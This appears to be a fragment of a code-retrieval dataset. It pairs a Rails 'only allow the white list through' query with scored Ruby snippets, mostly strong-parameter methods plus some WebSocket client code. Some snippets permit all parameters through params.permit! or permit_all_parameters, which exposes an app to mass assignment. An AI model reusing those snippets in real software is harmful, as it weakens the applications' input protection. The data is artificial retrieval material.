"text": "def hourglassSum(arr)\n highest = nil\n length = arr.size - 3\n for i in 0..length\n for j in 0..length\n sum = arr[i][j] + arr[i][j+1] + arr[i][j+2]\n sum += arr[i+1][j+1]\n sum += arr[i+2][j] + arr[i+2][j+1] + arr[i+2][j+2]\n\n highest = sum if highest.nil? || sum > highest\n end\n end\n\n return highest\nend",
"title": ""
},
{
"docid": "250ecd653835ccdb91356cb5d7ba937d",
"score": "0.587935",
"text": "def min_path_sum(grid)\n row = grid.length - 1\n column = grid[0].length - 1\n result = min_path_helper(grid, row, column, {})\nend",
"title": ""
},
{
"docid": "d5b78ac85030f89b831e10325457f189",
"score": "0.5876195",
"text": "def solution(t)\n heights = []\n heights << solution(t.l) if t.l\n heights << solution(t.r) if t.r\n \n if heights.any?\n heights.max + 1\n else\n 0\n end\nend",
"title": ""
},
{
"docid": "2f1b0e99139f3e67ff216d96ae1d25b2",
"score": "0.5870831",
"text": "def staircase_traversal(height, max_steps)\n ways_to_top = Array.new(height, 0)\n ways_to_top[0] = 1\n ways_to_top[1] = 1\n\n (2..height).each { |current_height|\n step = 1\n while step <= max_steps && step <= current_height\n ways_to_top[current_height] = ways_to_top[current_height].to_i + ways_to_top[current_height - step].to_i\n step += 1\n end\n }\n return ways_to_top[height]\nend",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60
|
Never trust parameters from the scary internet, only allow the white list through.
|
[
{
"docid": "12b18dbb9d38a7dd34e07c0ee2e9d851",
"score": "0.0",
"text": "def candidate_params\n params.require(:candidate).permit(:name, :plan, :loaction, :image)\n end",
"title": ""
}
] |
[
{
"docid": "e164094e79744552ae1c53246ce8a56c",
"score": "0.69780594",
"text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e662f0574b56baff056c6fc4d8aa1f47",
"score": "0.678054",
"text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1677b416ad07c203256985063859691b",
"score": "0.6742781",
"text": "def allow_params_authentication!; end",
"title": ""
},
{
"docid": "c1f317213d917a1e3cfa584197f82e6c",
"score": "0.67387927",
"text": "def allowed_params\n ALLOWED_PARAMS\n end",
"title": ""
},
{
"docid": "547b7ab7c31effd8dcf394d3d38974ff",
"score": "0.67346025",
"text": "def default_param_whitelist\n [\"mode\"]\n end",
"title": ""
},
{
"docid": "a91e9bf1896870368befe529c0e977e2",
"score": "0.6590683",
"text": "def param_whitelist\n [:role, :title]\n end",
"title": ""
},
{
"docid": "b32229655ba2c32ebe754084ef912a1a",
"score": "0.6501642",
"text": "def expected_permitted_parameter_names; end",
"title": ""
},
{
"docid": "3a9a65d2bba924ee9b0f67cb77596482",
"score": "0.6495788",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "068f8502695b7c7f6d382f8470180ede",
"score": "0.6479752",
"text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.64763314",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "c04a150a23595af2a3d515d0dfc34fdd",
"score": "0.645457",
"text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "9a2a1af8f52169bd818b039ef030f513",
"score": "0.6437739",
"text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"title": ""
},
{
"docid": "c5f294dd85260b1f3431a1fbbc1fb214",
"score": "0.6377168",
"text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "631f07548a1913ef9e20ecf7007800e5",
"score": "0.6372484",
"text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"title": ""
},
{
"docid": "9735bbaa391eab421b71a4c1436d109e",
"score": "0.6363871",
"text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "12fa2760f5d16a1c46a00ddb41e4bce2",
"score": "0.63179374",
"text": "def param_whitelist\n [:rating, :review]\n end",
"title": ""
},
{
"docid": "f12336a181f3c43ac8239e5d0a59b5b4",
"score": "0.62981373",
"text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "c25a1ea70011796c8fcd4927846f7a04",
"score": "0.6297456",
"text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "822c743e15dd9236d965d12beef67e0c",
"score": "0.62916917",
"text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"title": ""
},
{
"docid": "7f0fd756d3ff6be4725a2c0449076c58",
"score": "0.6290227",
"text": "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"title": ""
},
{
"docid": "9d23b31178b8be81fe8f1d20c154336f",
"score": "0.628954",
"text": "def valid_params_request?; end",
"title": ""
},
{
"docid": "533f1ba4c3ab55e79ed9b259f67a70fb",
"score": "0.62877893",
"text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "5f16bb22cb90bcfdf354975d17e4e329",
"score": "0.62814754",
"text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"title": ""
},
{
"docid": "1dfca9e0e667b83a9e2312940f7dc40c",
"score": "0.62416226",
"text": "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"title": ""
},
{
"docid": "a44360e98883e4787a9591c602282c4b",
"score": "0.6237962",
"text": "def allowed_params\n params.require(:allowed).permit(:email)\n end",
"title": ""
},
{
"docid": "4fc36c3400f3d5ca3ad7dc2ed185f213",
"score": "0.62168854",
"text": "def permitted_params\n []\n end",
"title": ""
},
{
"docid": "7a218670e6f6c68ab2283e84c2de7ba8",
"score": "0.62127215",
"text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"title": ""
},
{
"docid": "b074031c75c664c39575ac306e13028f",
"score": "0.62084496",
"text": "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"title": ""
},
{
"docid": "0cb77c561c62c78c958664a36507a7c9",
"score": "0.61927646",
"text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"title": ""
},
{
"docid": "9892d8126849ccccec9c8726d75ff173",
"score": "0.6176822",
"text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e3089e0811fa34ce509d69d488c75306",
"score": "0.6174079",
"text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"title": ""
},
{
"docid": "7b7196fbaee9e8777af48e4efcaca764",
"score": "0.6171225",
"text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"title": ""
},
{
"docid": "9d589006a5ea3bb58e5649f404ab60fb",
"score": "0.6161419",
"text": "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"title": ""
},
{
"docid": "d578c7096a9ab2d0edfc431732f63e7f",
"score": "0.61507314",
"text": "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "38a9fb6bd1d9ae5933b748c181928a6b",
"score": "0.6150071",
"text": "def safe_params\n params.require(:user).permit(:name)\n end",
"title": ""
},
{
"docid": "7a6fbcc670a51834f69842348595cc79",
"score": "0.6145409",
"text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"title": ""
},
{
"docid": "fe4025b0dd554f11ce9a4c7a40059912",
"score": "0.61204594",
"text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.61135256",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "60ccf77b296ed68c1cb5cb262bacf874",
"score": "0.6105225",
"text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9",
"score": "0.6103249",
"text": "def quote_params\n params.permit!\n end",
"title": ""
},
{
"docid": "86b2d48cb84654e19b91d9d3cbc2ff80",
"score": "0.6088041",
"text": "def valid_params?; end",
"title": ""
},
{
"docid": "34d018968dad9fa791c1df1b3aaeccd1",
"score": "0.6079626",
"text": "def paramunold_params\n params.require(:paramunold).permit!\n end",
"title": ""
},
{
"docid": "6d41ae38c20b78a3c0714db143b6c868",
"score": "0.6070542",
"text": "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.6060409",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "49052f91dd936c0acf416f1b9e46cf8b",
"score": "0.60198915",
"text": "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"title": ""
},
{
"docid": "5eaf08f3ad47cc781c4c1a5453555b9c",
"score": "0.6016795",
"text": "def filtering_params\n params.permit(:email, :name)\n end",
"title": ""
},
{
"docid": "5ee931ad3419145387a2dc5a284c6fb6",
"score": "0.6010659",
"text": "def check_params\n true\n end",
"title": ""
},
{
"docid": "3b17d5ad24c17e9a4c352d954737665d",
"score": "0.60103244",
"text": "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005393",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005393",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "74c092f6d50c271d51256cf52450605f",
"score": "0.6000696",
"text": "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"title": ""
},
{
"docid": "75415bb78d3a2b57d539f03a4afeaefc",
"score": "0.60000104",
"text": "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"title": ""
},
{
"docid": "bb32aa218785dcd548537db61ecc61de",
"score": "0.59931517",
"text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"title": ""
},
{
"docid": "65fa57add93316c7c8c6d8a0b4083d0e",
"score": "0.59916013",
"text": "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"title": ""
},
{
"docid": "865a5fdd77ce5687a127e85fc77cd0e7",
"score": "0.5991397",
"text": "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "ec609e2fe8d3137398f874bf5ef5dd01",
"score": "0.5990416",
"text": "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"title": ""
},
{
"docid": "423b4bad23126b332e80a303c3518a1e",
"score": "0.5979021",
"text": "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"title": ""
},
{
"docid": "48e86c5f3ec8a8981d8293506350accc",
"score": "0.5965926",
"text": "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"title": ""
},
{
"docid": "a573514ae008b7c355d2b7c7f391e4ee",
"score": "0.59582806",
"text": "def filtering_params\n params.permit(:email)\n end",
"title": ""
},
{
"docid": "9f774a9b74e6cafa3dd7fcc914400b24",
"score": "0.59579134",
"text": "def active_code_params\n params[:active_code].permit\n end",
"title": ""
},
{
"docid": "2202d6d61570af89552803ad144e1fe7",
"score": "0.5957629",
"text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"title": ""
},
{
"docid": "8b571e320cf4baff8f6abe62e4143b73",
"score": "0.5956672",
"text": "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"title": ""
},
{
"docid": "d493d59391b220488fdc1f30bd1be261",
"score": "0.59518754",
"text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"title": ""
},
{
"docid": "f18c8e1c95a8a21ba8cd6fbc6d4d524a",
"score": "0.59510773",
"text": "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"title": ""
},
{
"docid": "4e6017dd56aab21951f75b1ff822e78a",
"score": "0.5942638",
"text": "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"title": ""
},
{
"docid": "67fe19aa3f1169678aa999df9f0f7e95",
"score": "0.5937516",
"text": "def list_params\n params.permit(:name)\n end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.59361875",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.59361875",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "5060615f2c808bab2d45f4d281987903",
"score": "0.59336793",
"text": "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"title": ""
},
{
"docid": "7fa620eeb32e576da67f175eea6e6fa0",
"score": "0.5928626",
"text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"title": ""
},
{
"docid": "d9483565c400cd4cb1096081599a7afc",
"score": "0.5925229",
"text": "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"title": ""
},
{
"docid": "f7c6dad942d4865bdd100b495b938f50",
"score": "0.59243226",
"text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"title": ""
},
{
"docid": "70fa55746056e81854d70a51e822de66",
"score": "0.59174913",
"text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"title": ""
},
{
"docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa",
"score": "0.5907821",
"text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"title": ""
},
{
"docid": "753b67fc94e3cd8d6ff2024ce39dce9f",
"score": "0.5907719",
"text": "def url_whitelist; end",
"title": ""
},
{
"docid": "3eef50b797f6aa8c4def3969457f45dd",
"score": "0.5906177",
"text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "f9f0da97f7ea58e1ee2a5600b2b79c8c",
"score": "0.59056896",
"text": "def admin_social_network_params\n params.require(:social_network).permit!\n end",
"title": ""
},
{
"docid": "5bdab99069d741cb3414bbd47400babb",
"score": "0.5897028",
"text": "def filter_params\n params.require(:filters).permit(:letters)\n end",
"title": ""
},
{
"docid": "7c5ee86a81b391c12dc28a6fe333c0a8",
"score": "0.5896294",
"text": "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"title": ""
},
{
"docid": "de77f0ab5c853b95989bc97c90c68f68",
"score": "0.5895856",
"text": "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "bf321f5f57841bb0f8c872ef765f491f",
"score": "0.5893494",
"text": "def permit_request_params\n params.permit(:address)\n end",
"title": ""
},
{
"docid": "29d030b36f50179adf03254f7954c362",
"score": "0.58926904",
"text": "def sensitive_params=(params)\n @sensitive_params = params\n end",
"title": ""
},
{
"docid": "5186021506f83eb2f6e244d943b19970",
"score": "0.589066",
"text": "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"title": ""
},
{
"docid": "b85a12ab41643078cb8da859e342acd5",
"score": "0.58854234",
"text": "def secure_params\n params.require(:location).permit(:name)\n end",
"title": ""
},
{
"docid": "46e104db6a3ac3601fe5904e4d5c425c",
"score": "0.58809334",
"text": "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"title": ""
},
{
"docid": "abca6170eec412a7337563085a3a4af2",
"score": "0.5878489",
"text": "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"title": ""
},
{
"docid": "26a35c2ace1a305199189db9e03329f1",
"score": "0.58727074",
"text": "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "de49fd084b37115524e08d6e4caf562d",
"score": "0.5868653",
"text": "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"title": ""
},
{
"docid": "7b7ecfcd484357c3ae3897515fd2931d",
"score": "0.5866631",
"text": "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "0016f219c5d958f9b730e0824eca9c4a",
"score": "0.58666086",
"text": "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"title": ""
},
{
"docid": "8aa9e548d99691623d72891f5acc5cdb",
"score": "0.5866305",
"text": "def url_params\n params[:url].permit(:full)\n end",
"title": ""
},
{
"docid": "c6a8b768bfdeb3cd9ea388cd41acf2c3",
"score": "0.586484",
"text": "def backend_user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "be95d72f5776c94cb1a4109682b7b224",
"score": "0.58631617",
"text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"title": ""
},
{
"docid": "e4a29797f9bdada732853b2ce3c1d12a",
"score": "0.5861481",
"text": "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"title": ""
},
{
"docid": "967c637f06ec2ba8f24e84f6a19f3cf5",
"score": "0.5861059",
"text": "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"title": ""
},
{
"docid": "d14f33ed4a16a55600c556743366c501",
"score": "0.5859114",
"text": "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"title": ""
},
{
"docid": "46cb58d8f18fe71db8662f81ed404ed8",
"score": "0.5858489",
"text": "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"title": ""
},
{
"docid": "7e9a6d6c90f9973c93c26bcfc373a1b3",
"score": "0.585326",
"text": "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"title": ""
},
{
"docid": "ad61e41ab347cd815d8a7964a4ed7947",
"score": "0.58530635",
"text": "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"title": ""
},
{
"docid": "8894a3d0d0ad5122c85b0bf4ce4080a6",
"score": "0.5848788",
"text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"title": ""
},
{
"docid": "53d84ad5aa2c5124fa307752101aced3",
"score": "0.58479697",
"text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"title": ""
}
] |
86ea40f6a323412edd24065135b8783a
|
WAMP Client Connects to WAMP server, after connection client should receve WELCOME message from server. Client can then register prefix, call, subscribe, unsubscribe, and publish
|
[
{
"docid": "d038dfb237f69a6220dcac9e29f1c727",
"score": "0.51426",
"text": "def initialize(options = {})\n @ws_server = options[:host] || \"ws://localhost:9000\"\n @protocols = options[:protocols]\n @headers = options[:headers]\n @id = nil\n @socket = nil\n @wamp_protocol = nil\n @server_ident = nil\n\n @prefixes = {}\n @topics = []\n @callbacks = {}\n end",
"title": ""
}
] |
[
{
"docid": "9e250cde73a5225d1330394a70be3e06",
"score": "0.6718075",
"text": "def initial_message\n Kh.call(:server_connect)\n post @socket, server_name, RPL_WELCOME, @nick, \"Welcome to the Internet Relay Network #{@prefix}\"\n post @socket, server_name, RPL_YOURHOST, @nick, \"Your host is #{server_name}, running version #{server_version}\"\n post @socket, server_name, RPL_CREATED, @nick, \"This server was created #{Time.now}\"\n post @socket, server_name, RPL_MYINFO, @nick, \"#{server_name} #{server_version} #{available_user_modes} #{available_channel_modes}\"\n end",
"title": ""
},
{
"docid": "fb3b544ec198d5acaf2c6132926ba8f6",
"score": "0.61823803",
"text": "def handle_welcome(data)\n @id = data[1]\n @wamp_protocol = data[2]\n @server_ident = data[3]\n\n trigger(:welcome, self)\n end",
"title": ""
},
{
"docid": "c2d486fe70cec973ea09a1e0c4905b6b",
"score": "0.6100619",
"text": "def start_xmpp_interface\n if @client\n @client.add_message_callback { |message|\n unless message.type == :error\n puts message.from.to_s + \": \\\"\"+message.body.strip+\"\\\"\"\n action = take_cmd(@xmpp_cmds, message.body.strip, message.from)\n output = action.call.to_s\n res = Message.new(message.from, output)\n res.type = message.type\n @client.send(res)\n end\n }\n @client.add_iq_callback(0,'puts') { |iq| iq_dispatch(iq) }\n result = \" > listening for commands from xmpp\"\n else\n result = \" > not yet connected, please connect first\"\n end\n end",
"title": ""
},
{
"docid": "88bde231efaf8f3b98700c40bd0654cf",
"score": "0.59947693",
"text": "def websocket; end",
"title": ""
},
{
"docid": "88bde231efaf8f3b98700c40bd0654cf",
"score": "0.59947693",
"text": "def websocket; end",
"title": ""
},
{
"docid": "c432c04ac7d62be8bc884cfbc18f1b6a",
"score": "0.59683955",
"text": "def prompt_subscribe\n @proceed = true\n @previous_command = '/subscribe'\n handle\n end",
"title": ""
},
{
"docid": "d9648aa387116f41c64bc8089637a858",
"score": "0.59388894",
"text": "def start\n\n logger.info('Starting the WebSocket Client...')\n\n EventMachine.run do\n\n puts '='*80, \"Connecting to websockets server at ws://#{Settings.websocket.host}:#{Settings.websocket.port}\", '='*80\n\n http = EventMachine::HttpRequest.new(\"ws://#{Settings.websocket.host}:#{Settings.websocket.port}/websocket\").get :timeout => 0\n\n http.errback do\n logger.error \"something was wrong in the websocket_client\"\n end\n\n http.callback do\n puts \"#{Time.now.strftime('%H:%M:%S')} : Connected to server\"\n end\n\n http.stream do |msg|\n puts msg\n end\n\n end\n \n end",
"title": ""
},
{
"docid": "a856c6a9c5ffe2cfcbc178bca8d95e18",
"score": "0.5883262",
"text": "def subscribe\n @conn.send_data :opcode => SUBSCRIBE, :channel => @name\n @subscribe_sent = true\n end",
"title": ""
},
{
"docid": "27689fec93521b179b7d5d877f3bc39b",
"score": "0.578999",
"text": "def initialize\n @name = NAMES.sample\n HomeController.broadcast :print, \"#{@name} joind the chat.\"\n Iodine.run_after(pause) { post_message }\n # options = {}\n # options[:on_open] = Proc.new { Iodine.run_after(pause) { write MESSAGES.sample; rand(1..7).even? ? (Iodine.run_after(pause) { close }) : Iodine.run_after(pause) {on_open} } }\n # options[:on_message] = Proc.new {|data| }\n # options[:url] = \"ws://localhost:#{Iodine.port}/#{name}\"\n # Iodine::Http.ws_connect options\n end",
"title": ""
},
{
"docid": "407dc5b847635334d3b879eb5079c230",
"score": "0.57762927",
"text": "def example_one(amqsleep = nil)\n #\n conn = Stomp::Connection.open(@runparms.userid, @runparms.password,\n @runparms.host, @runparms.port, true)\n #\n @log.debug(\"Connection is: #{conn.inspect}\")\n #\n # -----------------------------------------------------------------------------------\n # Connection 1:\n conn = Stomp::Connection.open(\"usera\", \"pwa\", @runparms.host, @runparms.port, @reliable)\n # Do issue a subscribe\n conn.subscribe(@qname, @headers)\n # Send a message\n conn.publish(@qname, Time.now.to_s)\n if amqsleep\n sleep amqsleep\n end\n # Do not call 'receive' here, just issue a disconnect.\n conn.disconnect\n # -----------------------------------------------------------------------------------\n # Connection 2:\n conn = Stomp::Connection.open(\"userb\", \"pwb\", @runparms.host, @runparms.port, @reliable)\n # Subscribe on this connection\n conn.subscribe(@qname, @headers)\n @log.debug \"calling receive, which should never complete ......\"\n #\n # This should hang forever because of the subscribe issued first on \n # connection 1.\n #\n msg = conn.receive\n @log.debug \"Received: #{msg.inspect}\"\n conn.disconnect\nend",
"title": ""
},
{
"docid": "8dba24f5e7d4846fa49a6cffb1596dbb",
"score": "0.57614434",
"text": "def test1 #fails\n\n EventMachine::WebSocket.start(:host => \"0.0.0.0\", :port => 8567) do |ws|\n ws.onopen do\n puts \"WebSocket opened\"\n conn = Bunny.new\n conn.start\n#ch = conn.default_channel\n q = $ch.queue(\"tweets\")\n q.subscribe(:block => true) do |delivery_info, properties, body|\n puts \"Received tweet\\n\"\n ws.send \"test\"\n end\n end\n ws.onclose do\n ws.close(code = nil, body = nil)\n puts \"WebSocket closed\"\n# exit\n end\n end\nend",
"title": ""
},
{
"docid": "7562dd3e38c7ff13440fbbf09374fc33",
"score": "0.5747342",
"text": "def on_client_connect(client)\n end",
"title": ""
},
{
"docid": "59da36206e1eee46c7f93983659dfbda",
"score": "0.5735373",
"text": "def run!\n client.on(:hello, &responder.hello)\n client.on(:message, &responder.message)\n client.start!\n end",
"title": ""
},
{
"docid": "7f6d970aed6eab47df72af5b7e548e36",
"score": "0.57344824",
